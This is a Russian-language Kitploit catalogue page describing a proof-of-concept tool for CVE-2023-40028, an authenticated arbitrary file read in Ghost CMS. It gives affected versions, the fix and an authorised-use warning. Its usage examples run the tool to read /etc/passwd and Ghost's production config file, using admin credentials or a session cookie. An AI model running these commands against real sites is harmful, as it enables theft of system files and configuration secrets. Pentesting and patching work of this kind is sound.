Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-40028 — POC для CVE-2023-40028: Ghost CMS произвольное чтение файлов | Kitploit
Инструменты/GitHubGitHub/godylockz/cve-2023-40028
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийЭксфильтрация данныхСбор информацииТестирование на Проникновение
GitHubgodylockz/cve-2023-40028

CVE-2023-40028

POC для CVE-2023-40028: Ghost CMS произвольное чтение файлов

Репозиторий
22129 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2023-40028: произвольное чтение файлов в Ghost

Proof of concept для CVE-2023-40028 — уязвимости аутентифицированного произвольного чтения файлов в функции импорта контента Ghost. Специально сформированный ZIP-архив создаёт символическую ссылку в content/images, позволяя скрипту запросить файл с хоста Ghost.

Уязвимы версии Ghost до 5.59.1. Обновитесь до 5.59.1 или более поздней версии.

Используйте это только против систем, которыми вы владеете или на тестирование которых у вас есть разрешение.

Требования

  • Python 3
  • requests
  • Учётные данные администратора Ghost или действующий cookie ghost-admin-api-session
python3 -m venv .venv
source .venv/bin/activate
python -m pip install requests

Использование

Чтение одного файла с именем пользователя и паролем:

python3 ghost_fileread.py \
  --url https://ghost.example \
  --username [email protected] \
  --password 'password' \
  --file /etc/passwd

Использование существующего cookie административной сессии:

python3 ghost_fileread.py \
  --url https://ghost.example \
  --cookie 'session-cookie-value' \
  --file /var/lib/ghost/config.production.json

Опустите --file, чтобы открыть интерактивную строку приглашения file>. Запустите python3 ghost_fileread.py --help для параметров прокси, тайм-аута и User-Agent.

Эндпоинт возвращает текст, поэтому этот инструмент предназначен для текстовых файлов. Импорт специально сформированного архива оставляет символическую ссылку в каталоге content/images целевой системы.

Ссылки

  • GitHub advisory: CVE-2023-40028
  • Исправление в Ghost
Скачать инструмент